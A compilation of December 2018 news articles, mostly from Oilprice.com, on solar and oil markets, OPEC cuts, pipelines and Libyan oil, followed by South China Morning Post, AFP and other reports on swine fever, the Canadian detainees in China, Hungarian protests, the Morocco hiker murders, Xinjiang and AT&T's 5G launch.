YTD driven by a selloff of about 14% from September through mid-December. - Bond markets are also flashing red as interest rates in the front of the curve increased on US Fed rate hikes while the back of the curve was comparably steady as traders saw diminished likelihood of tightening in 2019 and 2020. The end result was the flattest yield curve in terms of a US 2yr / 10yr spread that the market has seen in more than a decade. This year has seen several major policy changes in renewable energy, especially in solar. China surprised everyone in June by announcing that it would not issue approvals for any new solar power installations in 2018 and would also cut the feed-in tariff subsidy. In February, the U.S. imposed tariffs on imported solar cells and modules, creating uncertainty in the U.S. solar market. The solar market globally is set to adapt to those industry disruptions next year. Together with continued declines in solar and wind costs, 2019 could be a brighter year for the U.S. solar and renewable energy markets, analysts and industry professionals say. Scott Cramer, president of solar company Go Solar Groupwhich operates in Reno, Nevada; Salt Lake City, Utah; and San Antonio, Texassees several trends that will shape and shake the U.S. solar market next year. First, total U.S. solar installations will start rising again in 2019. Then, there has been an alarmist overreaction to the U.S. solar import tariff, with missed opportunities for investors who have postponed utility-scale projects due to the tariff. According to Cramer, many in the industry overlook the fact that the tariff is a fraction of the costs and that the levy of 30 percent will be dropping by 5 percent annually over the next four years to reach 15 percent in year four. The U.S. tariffs on imported solar cells and modules created uncertainty in the market earlier this year, resulting in quarterly additions of utility-scale solar dropping in Q3 below 1 gigawatt for the first time since 2015, yet the project pipeline points to a strong rebound in Q4, a new report by Wood Mackenzie Power & Renewables and the Solar Energy Industries Association (SEIA) showed earlier this month. We did, however, see utility PV procurement outpace installations fourfold in Q3, showing that despite the tariffs causing project delays, there is substantial growth ahead for the U.S. utility PV sector, said Colin Smith, Senior Analyst at Wood Mackenzie. For the U.S. residential solar market, 2019 is the last year in which the federal residential renewable energy tax credit is at 30 percent, after which the tax credit gradually drops until 2022, when only commercial installations can use a 10-percent federal tax credit. The U.S. residential solar market has been stabilizing this year after a 15-percent decline in 2017. According to the U.S. Solar Market Insight Report, Nevada was a particular bright spot with steady installation growth in Q3, and Florida is on track to post a strong year. Related: California To Electrify All Buses By 2029 Go Solar Groups Cramer also expects Chinas surplus stock of solar modulesdue to the Chinese policy to reduce support for solarto see prices drop, which will also drive competitors prices down, resulting in cheaper solar costs. Bloomberg NEF expects the Chinese policy to result in PV module prices dropping by 34 percent at the end of 2018, compared to an earlier forecast of a 27-percent drop before Chinas new solar support policy. BNEF also sees module prices falling by another 10-15 percent in 2019. Thanks to falling costs, unsubsidized onshore wind and solar have become the cheapest sources of electricity generation in nearly all major economies in the world, including India and China, according to a November report by Bloomberg NEF. The comparative costs for power generationthe levelized costs of electricity (LCOE)showed that onshore wind and solar are the cheapest power generation sources for all major economies except for Japan. According to the November 2018 Lazard analysis of levelized cost of energy on an unsubsidized basis, utility-scale solar PV crystalline and utility-scale solar PV thin film, as well as onshore wind, are comparable with the cheapest conventional generation technologies. In the U.S. wind power market, the American Wind Energy Association (AWEA) has estimated that 612 megawatts (MW) of new wind capacity was installed in Q3, bringing total U.S. capacity to 90,550 MW. Currently, construction is under way on 107 projects in 23 states, with construction activity at a record-high 20,798 MW at end-Q3. If we consider that Texas currently has just over 23,000 MW of wind capacity, the U.S. is currently building a Texas-sized amount of wind, AWEA says. Additional 17,167 MW of wind capacity are in advanced development, meaning that total U.S. activity was 37,965 MW in the third quarter, up by 28 percent annually, according to AWEA. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: War-torn South Sudan could become a significant oil producer in the region if the country can manage to maintain a peace deal reached between warring sides in September. However, according to UN peace-keeping head Jean-Pierre Lacroix, peace in the nation of some 10.2 million is fragile and contingent on several factors. on Tuesday that the peace process is not yet assessed as fully sustainable and irreversible and will need positive engagement and compromise from the parties if it is to deliver genuine hope and relief to the suffering South Sudanese populations. While there has been a significant improvement in the general security situation of the country since the peace agreement was signed, sporadic clashes have taken place indicating that the improvements remain fragile, Lacroix said. He added that the responsibility to sustain momentum in implementing the agreement lies solely with the parties. South Sudan has had internal conflict since it declared independence seven years ago from Sudan. Fighting in the country has seen an estimated 400,000 people killed amid allegations of sexual violence and mass rape being used as weapons of war. Amid the fledgling hope that South Sudan can maintain its fragile peace, China, now Africas largest investor, has chimed in. A Chinese envoy on Tuesday called for international help to push forward the peace process in South Sudan, according to a report in Chinese state-run Xinhua. Wu Haitao, China's deputy permanent representative to the UN, said that after prolonged conflicts, a lot needs to be done. He added that the implementation of the September 2018 revitalized peace agreement and the relaunch of economic development need enormous funding and other forms of international support. The international community should fully respect South Sudan's leadership in dealing with its own issues and avoid the imposition of solutions, said Wu. Politics and oil dont always mix There are significant takeaways from South Sudans fragile peace process, including how it will impact not only the countrys politics but overall oil production in the region. South Sudans petroleum minister, Ezekiel Lul Gatkuoth, said this week in comments carried by Bloomberg news that recent pledges of $2 billion in investment for the countrys oil sector may be just the start. South Sudan has sub-Saharan Africas third-largest crude reserves, estimated at 5 billion barrels of proved crude oil reserves, according to the U.S. Energy Information Administration (EIA). Gatkuoth also said that South Sudan is targeting oil output of 200,000 b/d, from a current 155,000 barrels, after the restarting of the countrys northern Unity field in late December. Related: Shale Under Pressure As Oil Falls Below $50 His comments come just a month after a South African government fund pledged to invest $1 billion in oil exploration and the building of an oil refinery in the country. Malaysian state-run oil major Petronas, for its part, pledged to put another $300 million, while Nigerian-based Oranto Petroleum International Ltd. has given some $500 million on developing an oil block in the country. Meanwhile, local energy firm Trinity Energy has promised $350 million. Gatkuoth said that Russian, Spanish and Emirati companies may soon join the growing list of investors, adding that the country would likely have exploration, production and sharing agreements signed to have new players in the oil industry, by early next year. The narrative has changed from South Sudan being in war to South Sudan is coming back again. However, jump-starting South Sudans oil sector will be even more complicated than just obtaining necessary foreign direct investment. Though the country has ample oil supplies and reserves, it is landlocked and has to rely on neighboring Sudan to pipe the oil to reach international markets. Relying on Sudan pipelines and oil infrastructure puts the country at a disadvantage even amid a fledgling peace process and with more investment coming into its oil sector. To date, disruptions in oil production, disputes over oil revenue sharing, and lower oil prices have had a negative effect on the economies of both Sudan and South Sudan. Going forward, given China's investment in the region, its history of involvement in both Sudan and South Sudan, Beijing may hold the answer to forge a lasting agreement between the two countries. Unless it does, South Sudans oil sector will continue to struggle despite pledges of support from several interested players. By Tim Daiss for Oilprice.com More Top Reads From Oilprice.com: Alberta truckers plan another event on Wednesday in support of the oil and gas industry in the province and in Canada, with hundreds expected to show up and take part in a convoy in Nisku, just south of Edmonton. Truckers for Pipelines, the organizers of the event and the rally, have urged trucks to come out to show support for the Canadian oil and gas industry and Canadian families from coast to coast. This is not the first event of truckers in support of the Alberta oil industry, which is going through a difficult time with huge discounts of Canadian oil prices because of insufficient capacity to take the oil out of the province. Last weekend, hundreds rallied in the northern Albertan city of Grande Prairie to show support for the oil and gas industry, and to reaffirm that Alberta and Canada needs a pipeline. After the rally, hundreds of oil field trucks took over the streets of Grande Prairie, showing their support for the oil industry. At the beginning of December, Albertas government enacted a mandatory short-term oil production cut in Canadas oil patch effective January 1, in a bid to address the record-low Canadian heavy oil prices due to constrained takeaway capacity. As of January 1, 2019, Alberta will be curtailing production by 325,000 bpd, or by 8.7 percent, to reduce market volatility and drive Canadian oil prices up, Albertas Premier Rachel Notley said in early December. The 325,000-bpd production cut is expected to take three months. After excess storage is drawn down, the reduction will drop to an estimated average of 95,000 barrels a day until Dec. 31, 2019 when the rules supporting this action end, Notley said. On Tuesday, reports emerged that Canadas federal government will provide a US$1.2-billion (C$1.6-billion) lifeline to Albertas energy industry, with most of the funds to be used for job support. The CTV News report comes on the heels of protests in Alberta against the lack of oil transport capacity that has seen the price of Canadian crude take a nosedive, hitting not just producers bottom lines but their workforce as well. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: The Department of Energy has removed a requirement that says U.S. LNG exporters need to report what the final destination of the cargo is in a bid to facilitate greater LNG exports. The change was praised by the LNG sector as it would indeed serve to make life easier for exporters. S&P Global Platts notes that it would enhance exporters chances of securing more buyers for the commodity as they would not have to worry about risking their export authorization in case it is impossible to find out where the cargo would eventually end up. The scrapping of the reporting rule, according to Energy Secretary Rick Perry, would "better provide reliable US LNG to our friends and allies abroad." From now on, the Department of Energy would only require exporters to report the initial destination of their cargoes, Argus Media reports, noting the change created some confusion in the industry. Originally, the requirement was put in place to prevent future LNG facilities in Canada and Mexico to gain an unfair advantage over U.S. LNG. Yet the Department of Energy said the concern was too minor to matter right now, and that the outlook for the future was positive. Argus Media explains that the hypothetical advantage of Mexico and Canada is related to a requirement for the DoE to approve LNG and pipeline gas exports to countries that have a free-trade agreement with Washington. Canada and Mexico are such countries, but the same is not true for most of the biggest LNG importers. That compromises LNG exporters chances of long-term buyer commitments since there is concern the Department of Energy, which has the right to rescind or modify LNG export licenses, would use this right in case domestic natural gas prices increase and more gas needs to stay in the United States By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Exxon Mobil managed to get its hands on a financial hardship waiver from the EPA that will allow its Billings Refinery in Montana to escape the wrath of restrictive US biofuel laws, Reuters sources claimed on Wednesday. Just weeks ago, Reuters reported the EPA was suspending its refinery biofuel waiver program pending a thorough review of its scoring system that saw a record number of waivers granted in 2017. That news followed reports from a few months earlier that The EPA granted 29 biofuel waivers in 2017, compared to 20 in 2016 and just 14 in 2015 under the previous administration. Exxon, with over $19 billion in net income for 2017, is not the only oil giant to receive such a waiver, with Chevron securing one for its Utah refinery earlier in the year. At the time, Chevronwith a net income of $9.2 billion in 2017was the largest known company to secure a biofuel waiver. At the time, Chevron said that the EPA had granted several small refineries exemptions from the Renewable Fuel Standards, and that not securing a waiver would put Chevron refineries at disadvantage in this competitive market. Under the Renewable Fuel Standard (RFS), oil refiners are required to blend growing amounts of renewable fuels into gasoline and diesel. Refiners that dont have the infrastructure to blend biofuels must purchase tradeable blending credits known as Renewable Identification Numbers, or RINs. The EPA has the authority to grant waivers from the renewable fuel standard to refineries whose oil processing capacity is below 75,000 bpd. According to its website, Exxons Billings refinery has a capacity to refine 60,000 barrels of crude oil per day. The increase in waivers from the EPA has angered American farmers who stand to benefit from strict adherence to the RFS, with the Trump Administration caught between a rock (farmers) and a hard place (Big Oil). By Julianne Geiger for Oilprice.com More Top Reads From Oilprice.com: Contrary to initial reports that OPEC will not make public the country quotas in the new production cut deal, the cartel now plans to publish a table of each OPEC and non-OPEC individual quotas in an attempt to inject some positive sentiment in a crashing oil market, OPECs Secretary General Mohammad Barkindo wrote in a letter seen by Reuters. In the interests of openness and transparency, and to support market sentiment and confidence, it is vital to make these production adjustments publicly available, Barkindo wrote to the members in the letter. I would urge Your Excellencies to kindly make positive announcements reinstating your countries commitment to implementing the agreed decisions. This is also vital to underpin trust in our decisions and to buttress ourselves from any naysayers who may doubt our commitment, the letter says. Earlier this month, OPEC and its Russia-led allies reached a deal to reduce their combined oil production by 1.2 million bpd for six months starting January, and initial hints from the cartel suggested that it wont be announcing individual quotas. The contribution from OPEC in the deal would be 800,000 bpd, equal to a 2.5-percent cut, while non-OPEC countries would contribute with 400,000 bpd, or a 2.0-percent reduction, OPEC said in the statement following the meeting in Vienna two weeks ago. In his letter seen by Reuters, OPECs Barkindo says that the effective reduction needs to be 3.02 percent for member countries in order to reach the 1.2-million-barrel total cut. Iran, Venezuela, and Libya were exempted from cuts, so other OPEC members had to tweak some quotas to accommodate those three special consideration countries. The detailed table with country quotas is expected to be published by the end of this week. According to that table, Saudi Arabias share of the cuts is 322,000 bpd, but in his letter Barkindo praises the Kingdom for committing to cut more and reduce production to 10.2 million bpd, a deeper cut than quotas show. The leader of the non-OPEC nations Russia has been handed a 230,000-bpd cut. OPECs total cut is 812,000 bpd, while non-OPECs reduction is 383,000 bpd, according to CNBC. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: A panel set up to evaluate the environmental risks of replacing a section of Enbridges Line 5 oil pipeline in Michigan has given the project the green light, AP reports, just a week after the panel was set up. Last week, the Michigan Legislature approved the Great Lakes pipeline project that envisages the replacement of a section of Enbridges Line 5 pipeline, which is 65 years old, and agreed to set up a state authority to oversee the construction of a tunnel for a section of the new pipeline. The new pipeline will replace two old ones and be set in a tunnel, to be drilled at a depth of 100 feet under the four-mile Straits of Macinac linking Lake Huron and Lake Michigan. As part of the deal, Enbridge will pay between US$350 and US$500 million for the construction of the tunnel for the pipeline. The project could take between seven and 10 years to complete. "Today's actions will result in the removal of the oil pipeline from the bottom of the Straits of Mackinac, maintain critical infrastructure connections between our peninsulas, provide energy security for residents of the Upper Peninsula and northern Michigan and create good-paying jobs," said Michigan Governor Rock Snyder, who has been in a rush to get all necessary approvals for the project before he leaves office next year. Like other pipeline projects, the Line 5 replacement project faces opposition from environmentalists and native American communities from the region. Though all legal hurdles have been cleared, opposition remains. The latest came in the form of a report from a joint U.S.-Canadian advisory organization, the Science Advisory Board, suggested the Straits of Macinac is among more than a dozen locations in the region of the Great Lakes that are vulnerable to oil spills. Snyders replacement, Democrat Gretchen Whitmer, is one of the opponents of the tunnel project, and the new attorney General of the state is also against it. In fact, Whitmer has called for the decommissioning of the whole Line 5 pipeline, which carries crude oil and natural gas from Ontario to Wisconsin By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Libyas largest oil field Sharara will reopen after Prime Minister Fayez al-Sarraj negotiated with the protesters that had blockaded it and agreed to meet their demands, Libyan media report. However, the National Oil Corporation has not confirmed it will restart the field. Some media identified the protesters as members of a movement called Fezzan Rage, although initial reports of the blockade also named the Petroleum Facilities Guard as also taking part in the outage, as per the National Oil Corporation. The most recent reports also mention figures from the Petroleum Facilities Guard as taking part in the blockade. The Prime Minister of the internationally recognized Libyan government acknowledged the demands of the protesters but said they could not be enforced on the government through threats and the disruption of Libyas oil production. The Sharara field has been shut down for almost two weeks now, after a group of local tribesmen and militants from the Petroleum Facilities Guard took control of it and demanded what NOC called a ransom for lifting the blockade. The state oil company warned against paying, noting this would set a dangerous precedent. In fact, the companys chairman, Mustafa Sanalla, went as far as to say NOC will not restart production at Sharara if the government pays the PFG. NOC declared a force majeure on the field last Sunday, which affected not just Sharara itself but also neighboring El Feel field, which gets its power from the larger field. Sharara supplies some 315,000 bpd to Libyas total production, which had rebounded above 1 million barrels daily shortly before the blockade. Now, Serraj has agreed to set up a fund of over US$700 million for the development of southern Libya, a part of the country that has been neglected for a long time. Also, a PFG commander demanded on local TV that the prime Minister must also supply the guard with means to secure the field although he did not elaborate on the nature of these means. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: The U.S. National Nuclear Security Administration (NNSA) is considering helping other countries handle their nuclear waste with U.S.-owned and operated technology in a bid to stay competitive in nuclear disposal technology globally, Reuters reported on Wednesday, quoting two sources familiar with the plans. The NNSA confirmed to Reuters that there was a project to help other nations handle nuclear waste but declined to provide specifics on the plans. We are in the conceptual phase of identifying approaches that could reduce the quantity of spent nuclear fuel without creating proliferation risks - a goal with significant economic and security benefits, NNSA spokesman Dov Schwartz told Reuters. Schwartz noted, however, that the approach the U.S. is working on doesnt involve reprocessing of nuclear wastean approach banned by President Jimmy Carter in 1977 because it results in purer uranium and plutonium that could be used to make nuclear bombs. According to Reuters sources, the U.S. could send the technology in a black box the size of a shipping container to other countries, but the technology would be owned and operated by the United States. That way you could address a countrys concerns about spent fuel without transferring ownership of the technology to them, one of the sources told Reuters. There are three main ways to reduce the volume of nuclear waste, according to the sources who spoke to Reuters. One is consolidation which is expensive but not too security risky; another is heating radioactive pellets in spent fuel assemblies, also costly, but also dangerous to the environment and human health; and the third one is the so-called pyroprocessing which puts the spent nuclear fuel in liquid metal and runs an electric current through it. Pyroprocessing reduces waste volume but boosts uranium and plutonium concentration, making this process a potential security and proliferation risk. The sources who spoke to Reuters didnt specify countries that could receive U.S.-operated technology to reduce their nuclear waste, but expressed concern that the processes could increase the risk of potentially dangerous nuclear materials falling in the hands of militants or groups unfriendly to the U.S. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: African swine fever edges closer to Hong Kong putting authorities on alert as 11 infected pigs are destroyed just across the border in mainland China The first cases of African swine fever have been found in pigs in the southern Chinese province of Guangdong, prompting Hong Kong authorities to crack down on meat being smuggled into the city. Eleven animals that had contracted the disease died at a slaughterhouse in the Xiangzhou district of Zhuhai, China News Service reported, quoting the Ministry of Agriculture and Rural Affairs. The city neighbours Macau, and is just 60km from Hong Kong, on the other bank of the Pearl River Delta. China reported its first outbreak in August in the north-eastern province of Liaoning. So far, cases had been reported in 23 provincial regions, resulting in at least 631,000 pigs having to be destroyed, the agency reported. There are three farms in Zhuhai that are allowed to export pigs to Hong Kong. As of Tuesday, they had supplied 3,840 live pigs to the city in 2018, and all were healthy, according to the Hong Kong Food and Environmental Hygiene Department. African swine fever can be spread by live or dead pigs, and pork products. There is no approved vaccine against the disease. But the department stressed that the disease would not infect humans. In a statement on Wednesday, the department said it would keep monitoring the situation, and added there was no report of any African swine fever case in local farms, and there was no outbreak reported at the farms that export pigs to the city. The Food and Environmental Hygiene Department will step up cooperation with other relevant departments to stop the illegal import of fresh meat, the department said, adding that all imported pigs were inspected at border control points before being allowed to enter the city for slaughtering. [The department] urges the public not to buy pork from unknown sources and pork needs to be cooked well-done. Earlier this month, Hong Kong officials conducted a drill on culling pigs in the event of African swine fever spreading across the border. Story continues The Agriculture, Fisheries and Conservation Department said the successful drill was to strengthen the preparedness of its officers in case of an outbreak on local farms. This article African swine fever edges closer to Hong Kong putting authorities on alert as 11 infected pigs are destroyed just across the border in mainland China first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2018. Canadian teacher Sarah McIver has been given an administrative punishment for working illegally in China, Beijing said on Thursday. McIver was the third Canadian to be detained in China in recent weeks, and news of her being sentenced removes a thorn in the diplomatic saga between the two countries that started with Ottawas arrest of Chinese tech executive Sabrina Meng Wanzhou. Chinas foreign ministry spokeswoman Hua Chunying told a regular press briefing that a Canadian citizen had been administratively punished by local police for illegal employment. There is unimpeded consular communication between China and Canada, and China will provide necessary assistance for Canada to perform its consular duties normally, she said. Canadian newspaper the National Post reported on Wednesday that arrangements were being made for McIver, originally from Alberta, to return to Canada after she was detained over a visa irregularity. Her detention came during rising tensions between Beijing and Ottawa following the arrest of Huawei chief financial officer Meng in Vancouver on December 1. The executive was later released on bail, but as the daughter of the founder of Huawei, one of Chinas most high-profile technology firms, the case sparked anger in China for what many saw as a politically motivated move orchestrated by Washington. Chinas foreign ministry had threatened serious consequences if Canadian authorities did not immediately release Meng, instead of extraditing her to the US to face fraud charges relating to breaking sanctions against Iran. In what many saw as a retaliatory measure by Beijing on December 10 detained two Canadian nationals former diplomat Michael Kovrig and businessman Michael Spavor for activities it said endanger Chinas nationals security. Kovrig worked as an analyst for the International Crisis Group and Spavor was based in the Chinese city of Dandong with business connections to North Korea. Story continues Canadian Prime Minister Justin Trudeau on Wednesday said he favoured the de-escalation of tensions with China over Mengs case, noting that the McIver case appeared to be routine and unrelated to the detentions of Kovrig and Spavor. There are tens of thousands of Canadians that live, travel and work in China, he said at a year-end news conference in Ottawa. The McIver case doesnt seem to fit the pattern of facts on the previous two, he said. McIver had reportedly been teaching in China for several months before her detention, after school officials transferred her to a school in a different city from the one where she was originally hired, according to the National Post. Chinas ambassador to Canada Lu Shaye wrote last Thursday in an opinion piece for Canadas The Globe and Mail that Mengs detention was groundless, and that those accusing China of a retaliatory act should first reflect on the actions of the Canadian side. It is both ignominious and hypocritical to revile China with double standards, he wrote. Charles Burton, a former Canadian diplomat in Beijing and political science professor at Brock University, said the heavy-handed detention of McIver would raise concern among Canadians about visiting China for fear of largely arbitrary arrest and petty harassment of this nature. It is connected to the general attempt by the government of China to engage in anti-Canada harassing behaviour at all levels, he said, referencing reported boycotts of winter clothing brand Canada Goose and Canadian business meeting cancellations in China. The level of lurid criticism of the government of Canada and the slanderous comments about the nature of the Canadian government and the motivations of the Trudeau government ... are designed to continue to pressure Canada so that Ms Meng is not transported to the US. Burton said those efforts to pressure Ottawa would continue, even though its pretty apparent that the government of Canada is going to go through the full extradition process. I do expect it to continue, I dont think the rhetoric will be reduced, and I will expect that we will see many more incidents like this, he said. Jane Duckett, professor of Chinese politics at the University of Glasgow, said there had been more scrutiny of minor transgressions committed by foreign nationals in China, so McIvers detention may not be seen as reprisal in the same way as the other two cases. Theres no mention of state security in this particular case, she said. That doesnt mean that it hasnt been ordered from the top down, or even lower level people might be acting on their own, somehow being a little more ... stringent in pursuing transgressions just because its a Canadian, in the spirit of the general situation. Duckett added that the apparent targeting of Canadian citizens in China appeared in tandem with a more assertive international stance that the Chinese party state had taken under Xi Jinping. It seems to fit with that mode of being a little more assertive and pushing back internationally, more overtly, even though theyre not admitting it, she said. This article Third detained Canadian Sarah McIver given administrative punishment for working illegally in China first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2018. More from South China Morning Post: Hungarian President Janos Ader on Thursday signed into law a controversial labour reform dubbed a "slave law" by the opposition despite sweeping protests. The law hikes the amount of overtime that employers can demand from 250 to 400 hours per year and allows payment to be delayed by up to three years. "I studied the changes to the labour law, and its provisions do not run contrary to the constitution," Ader said. Thousands of people have demonstrated against Prime Minister Viktor Orban's government since MPs passed the law on 12 December, with police and protesters clashing outside parliament. Ader, an Orban ally, said the provisions were similar to laws governing overtime in other EU countries. "The safeguards that protect (workers') rights have not been weakened," he said. "For these reasons I have signed the law despite the concerns." Protesters had asked Ader not to enforce the reform and unions have threatened a general strike if he did so. The government says the law is needed to tackle Hungary's labour shortage and that it will enable those who wish to work more hours to earn more. The rallies have united a broad swathe of opposition parties against the government of the right-wing nationalist Orban, with another demonstration planned for Friday evening. The opposition reacted with fury, with the far-right Jobbik party calling Ader's decision "scandalous". Socialist MP Agnes Kunhalmi told AFP: "We're going to make our feelings clear tomorrow at the last big demonstration before the holidays -- and we will co-ordinate with the unions!" On Monday, several thousand people gathered to protest outside the offices of the public broadcaster MTVA, as opposition MPs entered the premises and demanded a list of protesters' demands be read out. The demonstrators have also voiced opposition to what they say is the government's increasing control over the media, the judiciary and large parts of the economy. The largest rally in the past week was on Sunday, when 15,000 people gathered in a demonstration that ended up outside parliament. The Marie Celeste of the East China Sea? Fishing crew finds deserted ferry floating in middle of the sea At first it seemed a mystery to rank alongside that of the Marie Celeste or other ghost ships. Earlier this month a Chinese fishing crew came across a completely deserted ferry floating in the East China Sea. Wang Weiping, the skipper of the fishing boat that found the liner early on Thursday 300 nautical miles (555km) from land, said the ships exterior had some marks that suggested a collision but there were no signs of life. We got on the ship and yelled if there was anyone inside the ship, but nobody answered us, Wang told the news portal Thepaper.cn. But when the crew climbed on board the interior was in good condition, with well-maintained fittings and equipment. The crew contacted the Maritime Safety Administration in Zhejiang, the crews home province, in the hope of solving the mystery. On Wednesday this week they finally got an answer and luckily it appeared that there was a relatively benign explanation for what had happened. The papers report said the authority had checked through various channels and concluded that the second-hand ship had been bought by a Malaysian shipping company from a firm in South Korea. It had hired another firm to tow the ship to Malaysia, but the rope had snapped when the tugboat encountered heavy seas en route. The name of the Malaysian firm that bought the ship was not included in the report, but the authorities in Zhejiang said they had been in contact with their counterparts in Korea about the incident. Based on advertising materials in the ship, Wang said the liner had probably been used on the route between the Korean port of Busan and Fukuoka in Japan. Wang and his crew are now towing the cruise ship to the nearest port of Zhoushan a journey they are expected to complete in the next three or four days. This article The Marie Celeste of the East China Sea? Fishing crew finds deserted ferry floating in middle of the sea first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2018. Moroccan authorities said Thursday four suspects arrested following the murder of two young Scandinavian hikers in southern Morocco had pledged allegiance to the Islamic State (IS) Three of the four suspects were arrested on Thursday over the grisly killing of the two hikers, as investigators probed a link to Islamic extremism. "The video showing the arrested individuals... pledging allegiance to Daesh was recorded last week before the execution of the criminal acts we are investigating," the Rabat prosecutor said in a statement using the using alternative name for IS and confirming the authenticity of the video. Government spokesman Mustapha Khalfi described the killings as a "criminal and terrorist act", while Prime Minister Saad Eddine El Othmani called them a "stab in the back of Morocco and Moroccans". That was in reference to the likely negative impact the murders will have on the North African country's vital tourism sector -- which accounts for 10 percent of national income. The arrests in the city of Marrakesh follow a first arrest on Monday of a man suspected of belonging to an Islamic extremist group, hours after the discovery of the two women's bodies in the High Atlas mountains of southern Morocco. "The suspects have been arrested" and investigators were in the process of "verifying the terrorist motive, which is supported by the evidence and the findings of inquiries," said the central judicial investigations office. The bodies of Danish student Louisa Vesterager Jespersen, 24, and 28-year-old Maren Ueland from Norway were found on Monday, after the two friends had pitched their tent at an isolated mountain site two hours' walk from the tourist village of Imlil. Police have focused on the terrorism line of inquiry since arresting the first suspect in a poor neighbourhood of the region's main city of Marrakesh, which is a magnet for foreign tourists. "The radical Islamist line has not been removed, because of the profile of the (first) suspect arrested and the three" others, who have links to radical Islamic circles, a source close to the investigation told AFP on Wednesday. Investigators released pictures of three of those arrested, who were identified as Rachid Afatti, Ouaziad Younes and Ejjoud Abdessamad. - IS link suspected - In one of the black and white photos circulated by the authorities, a suspect wears white robes and a white skullcap, and has a long beard. The second suspect also has a long beard, while the third has a thin face and a goatee. But in another picture released by police after they were detained, the three are freshly shaven and wearing plain clothes. All three hail from Marrakesh, and one of them had "a court record linked to terrorist acts", police spokesman Boubker Sabik said. Danish Prime Minister Lars Lokke Rasmussen denounced what he called a "beastly crime". Addressing reporters, Rasmussen said "like the whole world, we react with consternation, disgust and a profound sadness." Norway's Prime Minister Erna Solberg condemned what she called a "brutal and meaningless attack on innocents". In Rabat, the government spokesman highlighted the efforts of the security services in the fight against terrorism by hailing the arrest in "record time" of the alleged suspects in the double murder. - Blow for tourism - Moroccan authorities were still working to determine the authenticity of a video posted on social media networks allegedly showing the murder of one of the tourists, a prosecutor said in a statement. The killings have sparked fears of a hit to Morocco's crucial tourist sector as the kingdom's relative security has always been a major selling point. "What most of us had feared -- that is to say a terrorist angle to the double crime in the region of Imlil, has been confirmed," said leading news website Medias 24. "Shock, sadness and revulsion are perceptible in Morocco," it added. Traumatised by the murders, residents of Imlil are deeply fearful for their livelihoods, and have helped investigators in identifying suspects, a tourism sector source told AFP. Morocco has been spared jihadist attacks since 2011, when a bomb attack on a cafe in Marrakesh's famed Jamaa El Fna Square killed 17 people, most of them European tourists. An attack in the North African state's financial capital Casablanca killed 33 people in 2003. Pakistan on Thursday defended its close ally China against a growing outcry over Muslims who are being detained by Chinese authorities, saying the issue was being "sensationalised" by foreign media. Numerous extrajudicial detention centres have been set up in China's vast, troubled Xinjiang region, holding as many as one million ethnic Uighurs and other Muslim minorities, according to estimates cited by a UN panel. Among them are believed to be dozens of women who married men from neighbouring Gilgit-Baltistan region in Pakistan, where people regularly cross the border into China for trade. "Some section of foreign media are trying to sensationalise the matter by spreading false information," Mohammad Faisal, spokesman for Pakistan's ministry of foreign affairs, told reporters at a weekly press briefing in Islamabad on Thursday. "As per Chinese authorities, out of 44 women, six are already in Pakistan. Four have been convicted on various charges, three are under investigations, eight are under going voluntary training. Twenty-three women are free and living in Xinjiang of their own free will," he added. In recent years, Pakistan has heavily pushed its relationship with China, lauding the tens of billions of investment dollars that Beijing is pouring into the country as a "game changer". Beijing has also upgraded the treacherous mountain road connecting Gilgit-Baltistan to Xinjiang. But China has had difficulty reconciling its desire for development with fears that Uighur separatists will import violence from Pakistan. Chinese authorities have long linked their crackdown on Xinjiang's Muslims to international counter-terrorism efforts, arguing that separatists are bent on joining foreign extremists like Al-Qaeda. They describe the camps as "vocational education centres" for people who appear to be drawn towards Islamist extremism and separatism. But human rights activists say members of China's Muslim minorities are being held involuntarily for transgressions such as wearing long beards and face veils, and that the region has become a police state. Faisal said his ministry and Chinese authorities will continue to coordinate on this matter. "The Chinese authorities have also offered to arrange visits to Xinjiang of the families of the convicted women," said Faisal. THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their MALACANANG on Thursday, December 20, welcomed the World Economic Forum (WEF) report showing that the Philippines moved up two notches in gender equality ranking. The Philippines ranked eighth (0.799) in WEF Global Gender Gap Report, higher by two notches from 10th place (0.790) in 2017. The report also showed that the Philippines is the the most gender-equal country in Asia. Iceland (0.858) remains the most gender neutral country in the world, followed by Norway (0.835), Sweden (0.822), Finland (0.821), Nicaragua (0.809), Rwanda (0.804), New Zealand (0.801), Ireland (0.796), and Namibia (0.789). In a statement, Presidential Spokesperson Salvador Panelo said the WEF report merely proved that the Duterte government is promoting "substantive equality" among men and women in the country. "The Palace welcomes the World Economic Forum (WEF)s Global Gender Gap Index placing the Philippines as the most gender equal nation in Asia," he said. "The Philippines continues to aspire for inclusive development where there is equality and genuine collaboration between men and women, and we are honored that our efforts have been given global recognition," Panelo added. The 2018 Global Gender Gap report evaluates 149 nations on their progress in gender parity through economic participation and opportunity, educational attainment, health and survival, and political empowerment. The Philippines ranked first in terms of educational attainment, registering a perfect score of 1. On the other hand, it ranked 13th (0.416) in political empowerment, 14th (0.801) in economic participation and opportunity, and 42nd (0.979) in health and survival. The WEF also noted that the Philippines was near to closing 80 percent of its overall gender gap, the "highest value for the country ever recorded by the index." Panelo said the WEF's findings emphasized the Duterte administration's commitment to give Filipino women the recognition that they properly deserve, particularly their contributions in the home, in the workplace, in the community, and in nation building. "The President and this Administration have always believed in the competence and capability of women, and we commit to further promote substantive equality in our society as we maintain to uphold the rights and dignity of women," he said. (SunStar Philippines) Credit: CC0 Public Domain The mobile 5G race is officially at the starting block. On Friday, Dec. 21, AT&T will turn on its mobile 5G network for the public in 12 cities around the country. The first batch: Atlanta, Charlotte, Raleigh, Dallas, Houston, Indianapolis, Jacksonville, Louisville, Oklahoma City, New Orleans, San Antonio and Waco, Texas. Unlike Verizon, which launched its first 5G network earlier this year as a home broadband replacement, AT&T's 5G network will be more traditional to mobile wireless networks. The first device for the network will be a 5G mobile hotspot from Netgear called the Nighthawk 5G Mobile Hotspot. AT&T has already announced that it will have two Samsung 5G phones 